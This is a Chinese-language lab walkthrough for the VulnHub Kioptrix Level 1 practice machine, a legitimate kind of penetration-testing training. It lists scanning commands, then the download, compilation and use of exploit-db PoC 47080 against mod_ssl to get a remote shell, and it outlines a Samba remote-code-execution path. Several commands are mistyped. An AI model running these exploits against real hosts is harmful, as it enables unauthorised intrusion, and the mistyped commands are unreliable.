Kioptrix: Level 1 (#1)漏洞方法

Kioptrix: Level 1 (#1)

官方网址 https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
攻击机kali linux

一.apache mod_ssl漏洞
二.samba漏洞

方法一:

  1. ifcoonfig查看本地ip地址Kioptrix: Level 1 (#1)漏洞方法

  2. 查看网段地址信息,发现192.168.43.64为靶机Kioptrix: Level 1 (#1)漏洞方法

  3. nmap 192.168.43.64 -O -sS -sV -v查看开启的端口及服务信息Kioptrix: Level 1 (#1)漏洞方法

  4. dirb http://192.168.43.64 查看目标有哪些路径,这里未发现可利用信息Kioptrix: Level 1 (#1)漏洞方法

  5. nikto -h 192.168.43.64 查看有哪些漏洞
    这里是 + mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

  6. 通过这些信息在https://www.exploit-db.com/漏洞库查找出漏洞POC:https://www.exploit-db.com/exploits/47080Kioptrix: Level 1 (#1)漏洞方法

  7. 编译前准备,下载漏洞POC
    wpet -O 47080.c https://www.exploit-db.com/exploits/47080

  8. 下载llbssl-dev库
    apt-get install llbssl-devKioptrix: Level 1 (#1)漏洞方法

  9. 编译
    gcc -o exp 47080.c -lcrypto

  10. 运行发现找对应版本,在查询端口服务可看见对应版本
    ./exp
    ./exp | grep apache-1.3.20
    Kioptrix: Level 1 (#1)漏洞方法

  11. 这里发现有0x6a和0x6b,试验后发现只有0x6b可以用
    ./exp 0x6b 192.168.43.64 -c 40
    Kioptrix: Level 1 (#1)漏洞方法

  12. whoami
    uname
    uname -a
    mail
    1
    exit
    Kioptrix: Level 1 (#1)漏洞方法


方法二:
1.之前使用nmap并没有扫到samba的版本号,这里使用msfconsole查看出samba 2.2.1a
Kioptrix: Level 1 (#1)漏洞方法
2.在https://www.exploit-db.com/exploits/漏洞库中找到正好匹配的Samba <2.2.8(Linux / BSD)-远程执行代码 https://www.exploit-db.com/exploits/10Kioptrix: Level 1 (#1)漏洞方法
3.下载POC-编译-运行Kioptrix: Level 1 (#1)漏洞方法